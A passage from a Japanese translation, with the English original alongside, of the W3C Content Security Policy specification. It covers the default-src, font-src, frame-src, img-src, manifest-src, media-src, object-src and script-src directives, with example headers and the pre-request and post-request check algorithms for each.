Return the result of executing the pre-request check for the directive whose name is name on request and policy, using this directive’s value for the comparison.
</li>
</ol>

				</section>
				<section id="default-src-post-request">
<h5 title="default-src Post-request check">6.1.3.2. `default-src^dir 要請後~検査</h5>

<p>
次の~algoが、
この指令の`要請後~検査$Aを与える：
◎
This directive’s post-request check is as follows:
</p>

<p>
所与の
( `要請$ %要請, `応答$ %応答, `施策$ %施策 )
に対し：
◎
Given a request request, a response response, and a policy policy:
</p>
<ol>
	<li>
%名前 ~LET `要請~用に有効果な指令を取得する$A( %要請 )
◎
Let name be the result of executing § 6.8.1 Get the effective directive for request on request.
</li>
	<li>
~IF［
`~fetch指令を実行するべきか？$A( %名前, `default-src$dir, %施策 ) ~EQ `~No^i
］
⇒
~RET `許容される^i
◎
If the result of executing § 6.8.4 Should fetch directive execute on name, default-src and policy is "No", return "Allowed".
</li>
	<li>
%指令 ~LET `指令$( %名前, この指令の`値$ )
◎
↓</li>
	<li>
~RET %指令 の`要請後~検査$A( %要請, %応答, %施策 )
◎
Return the result of executing the post-request check for the directive whose name is name on request, response, and policy, using this directive’s value for the comparison.
</li>
</ol>

				</section>
				<section id="default-src-inline">
<h5 title="default-src Inline Check">6.1.3.3. `default-src^dir ~inline検査</h5>

<p>
次の~algoが、
この指令の`~inline検査$Aを与える：
◎
This directive’s inline check algorithm is as follows:
</p>
<p>
所与の
( `要素$ %要素, 文字列 %型, `施策$ %施策, 文字列 %~source )
に対し：
◎
Given an Element element, a string type, a policy policy and a string source:
</p>
<ol>
	<li>
%名前 ~LET `~inline検査~用に有効果な指令を取得する$A( %型 )
◎
Let name be the result of executing § 6.8.2 Get the effective directive for inline checks on type.
</li>
	<li>
~IF［
`~fetch指令を実行するべきか？$A( %名前, `default-src$dir, %施策 ) ~EQ `~No^i
］
⇒
~RET `許容される^i
◎
If the result of executing § 6.8.4 Should fetch directive execute on name, default-src and policy is "No", return "Allowed".
</li>
	<li>
%指令 ~LET `指令$( %名前, この指令の`値$ )
◎
↓</li>
	<li>
~RET %指令 の`~inline検査$A( %要素, %型, %施策, %~source )
◎
Otherwise, return the result of executing the inline check for the directive whose name is name on element, type, policy and source, using this directive’s value for the comparison.
</li>
</ol>

				</section>
			</section>
			<section id="directive-font-src">
<h4>6.1.4. `font-src^dir</h4>

<p>
`font-src@dir
指令は、［
どの~URLから~font資源を読込んでもヨイか
］を制約する。
この指令の名前と値の構文は、
次の`~ABNF$で述べられる：
◎
The font-src directive restricts the URLs from which font resources may be loaded. The syntax for the directive’s name and value is described by the following ABNF:
</p>

<pre class="bnf">
`directive-name$p
	= "font-src"
`directive-value$p
	= `serialized-source-list$p
</pre>

<div class="example">
<p>
~pageが次の~CSPを伴うならば：
◎
Given a page with the following Content Security Policy:
</p>

<pre class="lang-http">
`Content-Security-Policy$h:
    `font-src$dir https://example.com/
</pre>

<p>
次の~codeによる~fetchは，~network~errorを返すことになる
— 供された~URLは，
`font-src$dir の`~source~list$に合致しないので：
◎
Fetches for the following code will return a network error, as the URL provided does not match font-src’s source list:
</p>

<pre class="lang-html">
&lt;style&gt;
  @font-face {
    font-family: "Example Font";
    src: url("https://example.org/font");
  }
  body {
    font-family: "Example Font";
  }
&lt;/style&gt;
</pre>
</div>

				<section id="font-src-pre-request">
<h5 title="font-src Pre-request check">6.1.4.1. `font-src^dir 要請前~検査</h5>

<p>
次の~algoが、
この指令の`要請前~検査$Aを与える：
◎
This directive’s pre-request check is as follows:
</p>

<p>
所与の
( `要請$ %要請, `施策$ %施策 )
に対し：
◎
Given a request request and a policy policy:
</p>
<ol>
	<li>
%名前 ~LET `要請~用に有効果な指令を取得する$A( %要請 )
◎
Let name be the result of executing § 6.8.1 Get the effective directive for request on request.
</li>
	<li>
~IF［
`~fetch指令を実行するべきか？$A( %名前, `font-src$dir, %施策 ) ~EQ `~No^i
］
⇒
~RET `許容される^i
◎
If the result of executing § 6.8.4 Should fetch directive execute on name, font-src and policy is "No", return "Allowed".
</li>
	<li>
~IF［
`要請は~source~listに合致するか？$A( %要請, この指令の`値$, %施策 )
~EQ `合致しない^i
］
⇒
~RET `阻止される^i
◎
If the result of executing § 6.7.2.5 Does request match source list? on request, this directive’s value, and policy, is "Does Not Match", return "Blocked".
</li>
	<li>
~RET `許容される^i
◎
Return "Allowed".
</li>
</ol>

				</section>
				<section id="font-src-post-request">
<h5 title="font-src Post-request check">6.1.4.2. `font-src^dir 要請後~検査</h5>

<p>
次の~algoが、
この指令の`要請後~検査$Aを与える：
◎
This directive’s post-request check is as follows:
</p>

<p>
所与の
( `要請$ %要請, `応答$ %応答, `施策$ %施策 )
に対し：
◎
Given a request request, a response response, and a policy policy:
</p>
<ol>
	<li>
%名前 ~LET `要請~用に有効果な指令を取得する$A( %要請 )
◎
Let name be the result of executing § 6.8.1 Get the effective directive for request on request.
</li>
	<li>
~IF［
`~fetch指令を実行するべきか？$A( %名前, `font-src$dir, %施策 ) ~EQ `~No^i
］
⇒
~RET `許容される^i
◎
If the result of executing § 6.8.4 Should fetch directive execute on name, font-src and policy is "No", return "Allowed".
</li>
	<li>
~IF［
`要請に対する応答は~source~listに合致するか？$A( %応答, %要請, この指令の`値$, %施策 )
~EQ `合致しない^i
］
⇒
~RET `阻止される^i
◎
If the result of executing § 6.7.2.6 Does response to request match source list? on response, request, this directive’s value, and policy, is "Does Not Match", return "Blocked".
</li>
	<li>
~RET `許容される^i
◎
Return "Allowed".
</li>
</ol>

				</section>
			</section>
			<section id="directive-frame-src">
<h4>6.1.5. `frame-src^dir</h4>

<p>
`frame-src@dir
指令は、［
どの~URLを`子~navigable$内に読込んでもヨイか
］を制約する。
この指令の名前と値の構文は、
次の`~ABNF$で述べられる：
◎
The frame-src directive restricts the URLs which may be loaded into child navigables. The syntax for the directive’s name and value is described by the following ABNF:
</p>

<pre class="bnf">
`directive-name$p
	= "frame-src"
`directive-value$p
	= `serialized-source-list$p
</pre>

<div class="example">
<p>
~pageが次の~CSPを伴うならば：
◎
Given a page with the following Content Security Policy:
</p>

<pre class="lang-http">
`Content-Security-Policy$h:
    `frame-src$dir https://example.com/
</pre>

<p>
次の~codeによる~fetchは、
~network~errorを返すことになる
— 供された~URLは，
`frame-src$dir の`~source~list$に合致しないので：
◎
Fetches for the following code will return a network errors, as the URL provided do not match frame-src’s source list:
</p>

<pre class="lang-html">
&lt;iframe src="https://example.org/"&gt;
&lt;/iframe&gt;
</pre>
</div>

				<section id="frame-src-pre-request">
<h5 title="frame-src Pre-request check">6.1.5.1. `frame-src^dir 要請前~検査</h5>

<p>
次の~algoが、
この指令の`要請前~検査$Aを与える：
◎
This directive’s pre-request check is as follows:
</p>

<p>
所与の
( `要請$ %要請, `施策$ %施策 )
に対し：
◎
Given a request request and a policy policy:
</p>
<ol>
	<li>
%名前 ~LET `要請~用に有効果な指令を取得する$A( %要請 )
◎
Let name be the result of executing § 6.8.1 Get the effective directive for request on request.
</li>
	<li>
~IF［
`~fetch指令を実行するべきか？$A( %名前, `frame-src$dir, %施策 ) ~EQ `~No^i
］
⇒
~RET `許容される^i
◎
If the result of executing § 6.8.4 Should fetch directive execute on name, frame-src and policy is "No", return "Allowed".
</li>
	<li>
~IF［
`要請は~source~listに合致するか？$A( %要請, この指令の`値$, %施策 )
~EQ `合致しない^i
］
⇒
~RET `阻止される^i
◎
If the result of executing § 6.7.2.5 Does request match source list? on request, this directive’s value, and policy, is "Does Not Match", return "Blocked".
</li>
	<li>
~RET `許容される^i
◎
Return "Allowed".
</li>
</ol>

				</section>
				<section id="frame-src-post-request">
<h5 title="frame-src Post-request check">6.1.5.2. `frame-src^dir 要請後~検査</h5>

<p>
次の~algoが、
この指令の`要請後~検査$Aを与える：
◎
This directive’s post-request check is as follows:
</p>

<p>
所与の
( `要請$ %要請, `応答$ %応答, `施策$ %施策 )
に対し：
◎
Given a request request, a response response, and a policy policy:
</p>
<ol>
	<li>
%名前 ~LET `要請~用に有効果な指令を取得する$A( %要請 )
◎
Let name be the result of executing § 6.8.1 Get the effective directive for request on request.
</li>
	<li>
~IF［
`~fetch指令を実行するべきか？$A( %名前, `frame-src$dir, %施策 ) ~EQ `~No^i
］
⇒
~RET `許容される^i
◎
If the result of executing § 6.8.4 Should fetch directive execute on name, frame-src and policy is "No", return "Allowed".
</li>
	<li>
~IF［
`要請に対する応答は~source~listに合致するか？$A( %応答, %要請, この指令の`値$, %施策 )
~EQ `合致しない^i
］
⇒
~RET `阻止される^i
◎
If the result of executing § 6.7.2.6 Does response to request match source list? on response, request, this directive’s value, and policy, is "Does Not Match", return "Blocked".
</li>
	<li>
~RET `許容される^i
◎
Return "Allowed".
</li>
</ol>

				</section>
			</section>
			<section id="directive-img-src">
<h4>6.1.6. `img-src^dir</h4>

<p>
`img-src@dir
指令は、［
どの~URLから画像~資源を読込んでもヨイか
］を制約する。
この指令の名前と値の構文は、
次の`~ABNF$で述べられる：
◎
The img-src directive restricts the URLs from which image resources may be loaded. The syntax for the directive’s name and value is described by the following ABNF:
</p>

<pre class="bnf">
`directive-name$p
	= "img-src"
`directive-value$p
	= `serialized-source-list$p
</pre>

<p>
この指令は、
画像を読込む`要請$
— 正式には，次に該当する`要請$ —
を制御する
`FETCH$r
⇒
`行先$rq ~EQ `image^l
◎
This directive controls requests which load images. More formally, this includes requests whose destination is "image" [FETCH].
</p>

<div class="example">
<p>
~pageが次の~CSPを伴うならば：
◎
Given a page with the following Content Security Policy:
</p>

<pre class="lang-http">
`Content-Security-Policy$h:
    `img-src$dir https://example.com/
</pre>

<p>
次の~codeによる~fetchは、
~network~errorを返すことになる
— 供された~URLは `img-src$dir の`~source~list$に合致しないので：
◎
Fetches for the following code will return a network errors, as the URL provided do not match img-src’s source list:
</p>

<pre class="lang-html">
&lt;img src="https://example.org/img"&gt;
</pre>
</div>

				<section id="img-src-pre-request">
<h5 title="img-src Pre-request check">6.1.6.1. `img-src^dir 要請前~検査</h5>

<p>
次の~algoが、
この指令の`要請前~検査$Aを与える：
◎
This directive’s pre-request check is as follows:
</p>

<p>
所与の
( `要請$ %要請, `施策$ %施策 )
に対し：
◎
Given a request request and a policy policy:
</p>
<ol>
	<li>
%名前 ~LET `要請~用に有効果な指令を取得する$A( %要請 )
◎
Let name be the result of executing § 6.8.1 Get the effective directive for request on request.
</li>
	<li>
~IF［
`~fetch指令を実行するべきか？$A( %名前, `img-src$dir, %施策 ) ~EQ `~No^i
］
⇒
~RET `許容される^i
◎
If the result of executing § 6.8.4 Should fetch directive execute on name, img-src and policy is "No", return "Allowed".
</li>
	<li>
~IF［
`要請は~source~listに合致するか？$A( %要請, この指令の`値$, %施策 )
~EQ `合致しない^i
］
⇒
~RET `阻止される^i
◎
If the result of executing § 6.7.2.5 Does request match source list? on request, this directive’s value, and policy, is "Does Not Match", return "Blocked".
</li>
	<li>
~RET `許容される^i
◎
Return "Allowed".
</li>
</ol>

				</section>
				<section id="img-src-post-request">
<h5 title="img-src Post-request check">6.1.6.2. `img-src^dir 要請後~検査</h5>

<p>
次の~algoが、
この指令の`要請後~検査$Aを与える：
◎
This directive’s post-request check is as follows:
</p>

<p>
所与の
( `要請$ %要請, `応答$ %応答, `施策$ %施策 )
に対し：
◎
Given a request request, a response response, and a policy policy:
</p>
<ol>
	<li>
%名前 ~LET `要請~用に有効果な指令を取得する$A( %要請 )
◎
Let name be the result of executing § 6.8.1 Get the effective directive for request on request.
</li>
	<li>
~IF［
`~fetch指令を実行するべきか？$A( %名前, `img-src$dir, %施策 ) ~EQ `~No^i
］
⇒
~RET `許容される^i
◎
If the result of executing § 6.8.4 Should fetch directive execute on name, img-src and policy is "No", return "Allowed".
</li>
	<li>
~IF［
`要請に対する応答は~source~listに合致するか？$A( %応答, %要請, この指令の`値$, %施策 )
~EQ `合致しない^i
］
⇒
~RET `阻止される^i
◎
If the result of executing § 6.7.2.6 Does response to request match source list? on response, request, this directive’s value, and policy, is "Does Not Match", return "Blocked".
</li>
	<li>
~RET `許容される^i
◎
Return "Allowed".
</li>
</ol>

				</section>
			</section>
			<section id="directive-manifest-src">
<h4>6.1.7. `manifest-src^dir</h4>

<p>
`manifest-src@dir
指令は、［
~app~manifest `APPMANIFEST$r を読込んでもヨイ~URL
］を制約する。
この指令の名前と値の構文は、
次の`~ABNF$で述べられる：
◎
The manifest-src directive restricts the URLs from which application manifests may be loaded [APPMANIFEST]. The syntax for the directive’s name and value is described by the following ABNF:
</p>

<pre class="bnf">
`directive-name$p
	= "manifest-src"
`directive-value$p
	= `serialized-source-list$p
</pre>

<div class="example">
<p>
~pageが次の~CSPを伴うならば：
◎
Given a page with the following Content Security Policy:
</p>

<pre class="lang-http">
`Content-Security-Policy$h:
    `manifest-src$dir https://example.com/
</pre>

<p>
次の~codeによる~fetchは，~network~errorを返すことになる
— 供された~URLは，
`manifest-src$dir の`~source~list$に合致しないので：
◎
Fetches for the following code will return a network errors, as the URL provided do not match manifest-src’s source list:
</p>

<pre class="lang-html">
&lt;link rel="manifest" href="https://example.org/manifest"&gt;
</pre>
</div>

				<section id="manifest-src-pre-request">
<h5 title="manifest-src Pre-request check">6.1.7.1. `manifest-src^dir 要請前~検査</h5>

<p>
次の~algoが、
この指令の`要請前~検査$Aを与える：
◎
This directive’s pre-request check is as follows:
</p>

<p>
所与の
( `要請$ %要請, `施策$ %施策 )
に対し：
◎
Given a request request and a policy policy:
</p>
<ol>
	<li>
%名前 ~LET `要請~用に有効果な指令を取得する$A( %要請 )
◎
Let name be the result of executing § 6.8.1 Get the effective directive for request on request.
</li>
	<li>
~IF［
`~fetch指令を実行するべきか？$A( %名前, `manifest-src$dir, %施策 ) ~EQ `~No^i
］
⇒
~RET `許容される^i
◎
If the result of executing § 6.8.4 Should fetch directive execute on name, manifest-src and policy is "No", return "Allowed".
</li>
	<li>
~IF［
`要請は~source~listに合致するか？$A( %要請, この指令の`値$, %施策 )
~EQ `合致しない^i
］
⇒
~RET `阻止される^i
◎
If the result of executing § 6.7.2.5 Does request match source list? on request, this directive’s value, and policy, is "Does Not Match", return "Blocked".
</li>
	<li>
~RET `許容される^i
◎
Return "Allowed".
</li>
</ol>

				</section>
				<section id="manifest-src-post-request">
<h5 title="manifest-src Post-request check">6.1.7.2. `manifest-src^dir 要請後~検査</h5>

<p>
次の~algoが、
この指令の`要請後~検査$Aを与える：
◎
This directive’s post-request check is as follows:
</p>

<p>
所与の
( `要請$ %要請, `応答$ %応答, `施策$ %施策 )
に対し：
◎
Given a request request, a response response, and a policy policy:
</p>
<ol>
	<li>
%名前 ~LET `要請~用に有効果な指令を取得する$A( %要請 )
◎
Let name be the result of executing § 6.8.1 Get the effective directive for request on request.
</li>
	<li>
~IF［
`~fetch指令を実行するべきか？$A( %名前, `manifest-src$dir, %施策 ) ~EQ `~No^i
］
⇒
~RET `許容される^i
◎
If the result of executing § 6.8.4 Should fetch directive execute on name, manifest-src and policy is "No", return "Allowed".
</li>
	<li>
~IF［
`要請に対する応答は~source~listに合致するか？$A( %応答, %要請, この指令の`値$, %施策 )
~EQ `合致しない^i
］
⇒
~RET `阻止される^i
◎
If the result of executing § 6.7.2.6 Does response to request match source list? on response, request, this directive’s value, and policy, is "Does Not Match", return "Blocked".
</li>
	<li>
~RET `許容される^i
◎
Return "Allowed".
</li>
</ol>

				</section>
			</section>
			<section id="directive-media-src">
<h4>6.1.8. `media-src^dir</h4>

<p>
`media-src@dir
指令は、［
どの~URLから［
動画, 音声, および
結付けられた~text~track
］資源を読込んでもヨイか
］を制約する。
この指令の名前と値の構文は、
次の`~ABNF$で述べられる：
◎
The media-src directive restricts the URLs from which video, audio, and associated text track resources may be loaded. The syntax for the directive’s name and value is described by the following ABNF:
</p>

<pre class="bnf">
`directive-name$p
	= "media-src"
`directive-value$p
	= `serialized-source-list$p
</pre>

<div class="example">
<p>
~pageが次の~CSPを伴うならば：
◎
Given a page with the following Content Security Policy:
</p>

<pre class="lang-http">
`Content-Security-Policy$h:
    `media-src$dir https://example.com/
</pre>

<p>
次の~codeによる~fetchは，~network~errorを返すことになる
— 供された~URLは，
`media-src$dir の`~source~list$に合致しないので：
◎
Fetches for the following code will return a network errors, as the URL provided do not match media-src’s source list:
</p>

<pre class="lang-html">
&lt;audio src="https://example.org/audio"&gt;&lt;/audio&gt;
&lt;video src="https://example.org/video"&gt;
    &lt;track kind="subtitles" src="https://example.org/subtitles"&gt;
&lt;/video&gt;
</pre>
</div>

				<section id="media-src-pre-request">
<h5 title="media-src Pre-request check">6.1.8.1. `media-src^dir 要請前~検査</h5>

<p>
次の~algoが、
この指令の`要請前~検査$Aを与える：
◎
This directive’s pre-request check is as follows:
</p>

<p>
所与の
( `要請$ %要請, `施策$ %施策 )
に対し：
◎
Given a request request and a policy policy:
</p>
<ol>
	<li>
%名前 ~LET `要請~用に有効果な指令を取得する$A( %要請 )
◎
Let name be the result of executing § 6.8.1 Get the effective directive for request on request.
</li>
	<li>
~IF［
`~fetch指令を実行するべきか？$A( %名前, `media-src$dir, %施策 ) ~EQ `~No^i
］
⇒
~RET `許容される^i
◎
If the result of executing § 6.8.4 Should fetch directive execute on name, media-src and policy is "No", return "Allowed".
</li>
	<li>
~IF［
`要請は~source~listに合致するか？$A( %要請, この指令の`値$, %施策 )
~EQ `合致しない^i
］
⇒
~RET `阻止される^i
◎
If the result of executing § 6.7.2.5 Does request match source list? on request, this directive’s value, and policy, is "Does Not Match", return "Blocked".
</li>
	<li>
~RET `許容される^i
◎
Return "Allowed".
</li>
</ol>

				</section>
				<section id="media-src-post-request">
<h5 title="media-src Post-request check">6.1.8.2. `media-src^dir 要請後~検査</h5>

<p>
次の~algoが、
この指令の`要請後~検査$Aを与える：
◎
This directive’s post-request check is as follows:
</p>

<p>
所与の
( `要請$ %要請, `応答$ %応答, `施策$ %施策 )
に対し：
◎
Given a request request, a response response, and a policy policy:
</p>
<ol>
	<li>
%名前 ~LET `要請~用に有効果な指令を取得する$A( %要請 )
◎
Let name be the result of executing § 6.8.1 Get the effective directive for request on request.
</li>
	<li>
~IF［
`~fetch指令を実行するべきか？$A( %名前, `media-src$dir, %施策 ) ~EQ `~No^i
］
⇒
~RET `許容される^i
◎
If the result of executing § 6.8.4 Should fetch directive execute on name, media-src and policy is "No", return "Allowed".
</li>
	<li>
~IF［
`要請に対する応答は~source~listに合致するか？$A( %応答, %要請, この指令の`値$, %施策 )
~EQ `合致しない^i
］
⇒
~RET `阻止される^i
◎
If the result of executing § 6.7.2.6 Does response to request match source list? on response, request, this directive’s value, and policy, is "Does Not Match", return "Blocked".
</li>
	<li>
~RET `許容される^i
◎
Return "Allowed".
</li>
</ol>

				</section>
			</section>
			<section id="directive-object-src">
<h4>6.1.9. `object-src^dir</h4>

<p>
`object-src@dir
指令は、［
どの~URLから~plugin内容を読込んでもヨイか
］を制約する。
この指令の名前と値の構文は、
次の`~ABNF$で述べられる：
◎
The object-src directive restricts the URLs from which plugin content may be loaded. The syntax for the directive’s name and value is described by the following ABNF:
</p>

<pre class="bnf">
`directive-name$p
	= "object-src"
`directive-value$p
	= `serialized-source-list$p
</pre>

<div class="example">
<p>
~pageが次の~CSPを伴うならば：
◎
Given a page with the following Content Security Policy:
</p>

<pre class="lang-http">
`Content-Security-Policy$h:
    `object-src$dir https://example.com/
</pre>

<p>
次の~codeによる~fetchは，~network~errorを返すことになる
— 供された~URLは，
`object-src$dir の`~source~list$に合致しないので：
◎
Fetches for the following code will return a network errors, as the URL provided do not match object-src’s source list:
</p>

<pre class="lang-html">
&lt;embed src="https://example.org/flash"&gt;&lt;/embed&gt;
&lt;object data="https://example.org/flash"&gt;&lt;/object&gt;
</pre>
</div>

<p>
~URLを伴わない~pluginにより内容が読込まれる場合
（たぶん、
`object$e 要素は `data$a 属性を欠いていて，
指定された `type^a に基づいて何らかの既定~pluginを読込もうとしている）、
`object-src$dir の値が `none$pl ならば，阻止されるモノトスル
— 他の場合、
許容されることになる。
◎
If plugin content is loaded without an associated URL (perhaps an object element lacks a data attribute, but loads some default plugin based on the specified type), it MUST be blocked if object-src’s value is 'none', but will otherwise be allowed.
</p>

<p class="note">注記：
`object-src$dir 指令は、［
`object$e ／ `embed$e
］要素がそれ自身のために為す どの要請に対しても動作する。
これには、
前者の 2 つ（~naviも含む）により生成される`子~navigable$を拡充させる要請も含まれる。
このことは、［
`object$e 要素のうち~MIME型が `text/html^c であるもの
］など，~dataが［
さもなければ別の指令により制約されるような内容
］に意味論的に等価であるときにも該当する。
◎
Note: The object-src directive acts upon any request made on behalf of an object or embed element. This includes requests which would populate the child navigable generated by the former two (also including navigations). This is true even when the data is semantically equivalent to content which would otherwise be restricted by another directive, such as an object element with a text/html MIME type.
</p>

<p class="note">注記：
~plugin資源へ直に~navigateされるとき
（すなわち、
`~navigable$の内側における`~plugin$
— ［
`embed$e ／ `object$e
］を介して下位資源として埋込まれたものではなく）、
その資源に伴って送達された`施策$は，その結果の`文書$に適用されることになる。
よって開発者は、
一例として，応答に施策 `object-src 'none'^dir を伴わせて送達することにより、
~pluginを内容とする任意な資源の実行を防止できることになる。
これにより、
力を備えた~plugin
（および Flash その他がときに呈する， “面白い” ~security~model）
がある下でも，
`Rosetta Flash＠https://miki.it/blog/2014/7/8/abusing-jsonp-with-rosetta-flash/$en
の様な攻撃~行路の~riskを軽減できるようになる。
◎
Note: When a plugin resource is navigated to directly (that is, as a plugin inside a navigable, and not as an embedded subresource via embed or object), any policy delivered along with that resource will be applied to the resulting Document. This means, for instance, that developers can prevent the execution of arbitrary resources as plugin content by delivering the policy object-src 'none' along with a response. Given plugins' power (and the sometimes-interesting security model presented by Flash and others), this could mitigate the risk of attack vectors like Rosetta Flash.
</p>

				<section id="object-src-pre-request">
<h5 title="object-src Pre-request check">6.1.9.1. `object-src^dir 要請前~検査</h5>

<p>
次の~algoが、
この指令の`要請前~検査$Aを与える：
◎
This directive’s pre-request check is as follows:
</p>

<p>
所与の
( `要請$ %要請, `施策$ %施策 )
に対し：
◎
Given a request request and a policy policy:
</p>
<ol>
	<li>
%名前 ~LET `要請~用に有効果な指令を取得する$A( %要請 )
◎
Let name be the result of executing § 6.8.1 Get the effective directive for request on request.
</li>
	<li>
~IF［
`~fetch指令を実行するべきか？$A( %名前, `object-src$dir, %施策 ) ~EQ `~No^i
］
⇒
~RET `許容される^i
◎
If the result of executing § 6.8.4 Should fetch directive execute on name, object-src and policy is "No", return "Allowed".
</li>
	<li>
~IF［
`要請は~source~listに合致するか？$A( %要請, この指令の`値$, %施策 )
~EQ `合致しない^i
］
⇒
~RET `阻止される^i
◎
If the result of executing § 6.7.2.5 Does request match source list? on request, this directive’s value, and policy, is "Does Not Match", return "Blocked".
</li>
	<li>
~RET `許容される^i
◎
Return "Allowed".
</li>
</ol>

				</section>
				<section id="object-src-post-request">
<h5 title="object-src Post-request check">6.1.9.2. `object-src^dir 要請後~検査</h5>

<p>
次の~algoが、
この指令の`要請後~検査$Aを与える：
◎
This directive’s post-request check is as follows:
</p>

<p>
所与の
( `要請$ %要請, `応答$ %応答, `施策$ %施策 )
に対し：
◎
Given a request request, a response response, and a policy policy:
</p>
<ol>
	<li>
%名前 ~LET `要請~用に有効果な指令を取得する$A( %要請 )
◎
Let name be the result of executing § 6.8.1 Get the effective directive for request on request.
</li>
	<li>
~IF［
`~fetch指令を実行するべきか？$A( %名前, `object-src$dir, %施策 ) ~EQ `~No^i
］
⇒
~RET `許容される^i
◎
If the result of executing § 6.8.4 Should fetch directive execute on name, object-src and policy is "No", return "Allowed".
</li>
	<li>
~IF［
`要請に対する応答は~source~listに合致するか？$A( %応答, %要請, この指令の`値$, %施策 )
~EQ `合致しない^i
］
⇒
~RET `阻止される^i
◎
If the result of executing § 6.7.2.6 Does response to request match source list? on response, request, this directive’s value, and policy, is "Does Not Match", return "Blocked".
</li>
	<li>
~RET `許容される^i
◎
Return "Allowed".
</li>
</ol>

				</section>
			</section>
			<section id="directive-script-src">
<h4>6.1.10. `script-src^dir</h4>

<p>
`script-src@dir
指令は、［
どの所在からの~scriptを実行してもヨイか
］を制約する。
これには、［
`script$e 要素の中に直に読込まれる~URL
］のみならず，［
~inlineな~script~blockや~XSLT~stylesheet `XSLT$r の様な，~script実行を誘発し得るもの
］も含まれる。
この指令の名前と値の構文は、
次の`~ABNF$で述べられる：
◎
The script-src directive restricts the locations from which scripts may be executed. This includes not only URLs loaded directly into script elements, but also things like inline script blocks and XSLT stylesheets [XSLT] which can trigger script execution. The syntax for the directive’s name and value is described by the following ABNF:
</p>

<pre class="bnf">
`directive-name$p
	= "script-src"
`directive-value$p
	= `serialized-source-list$p
</pre>

<p>
`script-src$dir 指令は、
すべての`~scriptに類する$行先
（ `worker-src$dir が無い場合は、
~workerに特有な行先も含む）
用の既定の~fallbackとして動作する。
細かさが欲されない限り、［
`script-src-attr$dir ／ `script-src-elem$dir
］よりも `script-src^dir が利用されるべきである。
ほとんどの状況においては、［
~inlineな~event~handler, `script$e 要素
］用に別々な許可~listを特に備える理由は無いので。
◎
The script-src directive acts as a default fallback for all script-like destinations (including worker-specific destinations if worker-src is not present). Unless granularity is desired script-src should be used in favor of script-src-attr and script-src-elem as in most situations there is no particular reason to have separate lists of permissions for inline event handlers and script elements.
</p>

<p>
`script-src$dir 指令は、
次に挙げるものについて統治する：
◎
The script-src directive governs six things:
</p>
<ul>
	<li>
~script`要請$は、
`要請は~CSPにより阻止されるべきか？$A
に合格しなければナラナイ。
◎
Script requests MUST pass through § 4.1.2 Should request be blocked by Content Security Policy?.
</li>
	<li>
~script`応答$は、
`要請に対する応答は~CSPにより阻止されるべきか？$A
に合格しなければナラナイ。
◎
Script responses MUST pass through § 4.1.3 Should response to request be blocked by Content Security Policy?.
</li>
	<li>
<p>
~inlineな `script$e 要素~blockは、
`要素における~inlineな型の挙動は~CSPにより阻止されるべきか？$A
に合格しなければナラナイ。
その挙動は、
どの施策も 次のいずれかにより~inlineな~scriptを許容していない限り，阻止されることになる：
◎
Inline script blocks MUST pass through § 4.2.3 Should element’s inline type behavior be blocked by Content Security Policy?. Their behavior will be blocked unless every policy allows inline script, either＼
</p>
		<ul>
			<li>
`script-src$dir （または `default-src$dir ）指令を指定しないことにより、
暗黙的に。
◎
implicitly by not specifying a script-src (or default-src) directive,＼
</li>
			<li>
その~inlineな~blockに合致する［
`unsafe-inline$pl ／
`nonce-source$p ／
`hash-source$p
］を，明示的に指定することにより。
◎
or explicitly, by specifying "unsafe-inline", a nonce-source or a hash-source that matches the inline block.
</li>
		</ul>
	</li>
	<li>
<p>
次に挙げる~JS実行~sink†は、
`~source式$［
`unsafe-eval$pl ／ `trusted-types-eval$pl
］で通過制御される
⇒＃
`eval()＠~TC39#sec-eval-x$c ／
`Function()＠~TC39#sec-function-objects$c ／
`setTimeout()$m のうち，第一~引数は~callableでないもの【！~callable Iscallable】／
`setInterval()$m のうち，第一~引数は~callableでないもの
◎
The following JavaScript execution sinks are gated on the "unsafe-eval" and "trusted-types-eval" source expressions:
• eval()
• Function()
• setTimeout() with an initial argument which is not callable.
• setInterval() with an initial argument which is not callable.
</p>

<p class="note">注記：
［
`setImmediate()^m や `execScript()^m
］の様な標準でない~sinkを実装する~UAは、
それらも `unsafe-eval$pl 上で通過制御するベキである。
`unsafe-eval^l は~pageに大域的な~flagとして動作するので、
この検査を遂行するときには［
`script-src-attr$dir ／ `script-src-elem$dir
］は利用されないことに注意
— 代わりに `script-src$dir （または その~fallback指令）が常に利用される。
◎
Note: If a user agent implements non-standard sinks like setImmediate() or execScript(), they SHOULD also be gated on "unsafe-eval". Note: Since "unsafe-eval" acts as a global page flag, script-src-attr and script-src-elem are not used when performing this check, instead script-src (or it’s fallback directive) is always used.
</p>

<p class="trans-note">【†
~security文脈における~sink（ “槽” ）とは、
~data~flowにおいて最初に~app層に渡される，
外部からの信用できない~data~sourceを意味する
（ `参考＠https://code.google.com/p/domxsswiki/wiki/Sinks$ ）。
実行~sink（ `execution sink^en ）とは、
そのような~sinkのうち，［
~scriptの~sourceとして構文解析され，実行され得る（したがって脆弱性の~sourceになり得る）~data~source
］を成すものを意味する。
】</p>

	</li>
	<li>
<p>
次に挙げる~WebAssembly実行~sinkは、
~source式［
`wasm-unsafe-eval$pl ／ `unsafe-eval$pl
］で通過制御される
⇒＃
`new WebAssembly.Module()＠~WASM/js-api/#dom-module-module$c
`WebAssembly.compile()＠~WASM/js-api/#dom-webassembly-compile$c
`WebAssembly.compileStreaming()＠~WASM/web-api/#dom-webassembly-compilestreaming$c
`WebAssembly.instantiate()＠~WASM/js-api/#dom-webassembly-instantiate$c
`WebAssembly.instantiateStreaming()＠~WASM/web-api/#dom-webassembly-instantiatestreaming$c
◎
The following WebAssembly execution sinks are gated on the "wasm-unsafe-eval" or the "unsafe-eval" source expressions:
• new WebAssembly.Module()
• WebAssembly.compile()
• WebAssembly.compileStreaming()
• WebAssembly.instantiate()
• WebAssembly.instantiateStreaming()
</p>

<p class="note">注記：
~source式 `wasm-unsafe-eval$pl は、
より特定な~source式である。
特に，~source式 `unsafe-eval$pl は、
~WebAssemblyの~compilation（および~instance化）を許可することに加え，
例えば~JSにおける `eval()^c 【！eval】演算の利用も許可する。
~source式 `wasm-unsafe-eval$pl は、
~WebAssemblyのみを許可し，~JSには影響しない。
◎
Note: the "wasm-unsafe-eval" source expression is the more specific source expression. In particular, "unsafe-eval" permits both compilation (and instantiation) of WebAssembly and, for example, the use of the "eval" operation in JavaScript. The "wasm-unsafe-eval" source expression only permits WebAssembly and does not affect JavaScript.
</p>
	</li>
	<li>
`javascript_^sc ~URLへの~naviは、
`要素における~inlineな型の挙動は~CSPにより阻止されるべきか？$A
に合格しなければナラナイ。
そのような~naviが，~scriptを実行するのは、
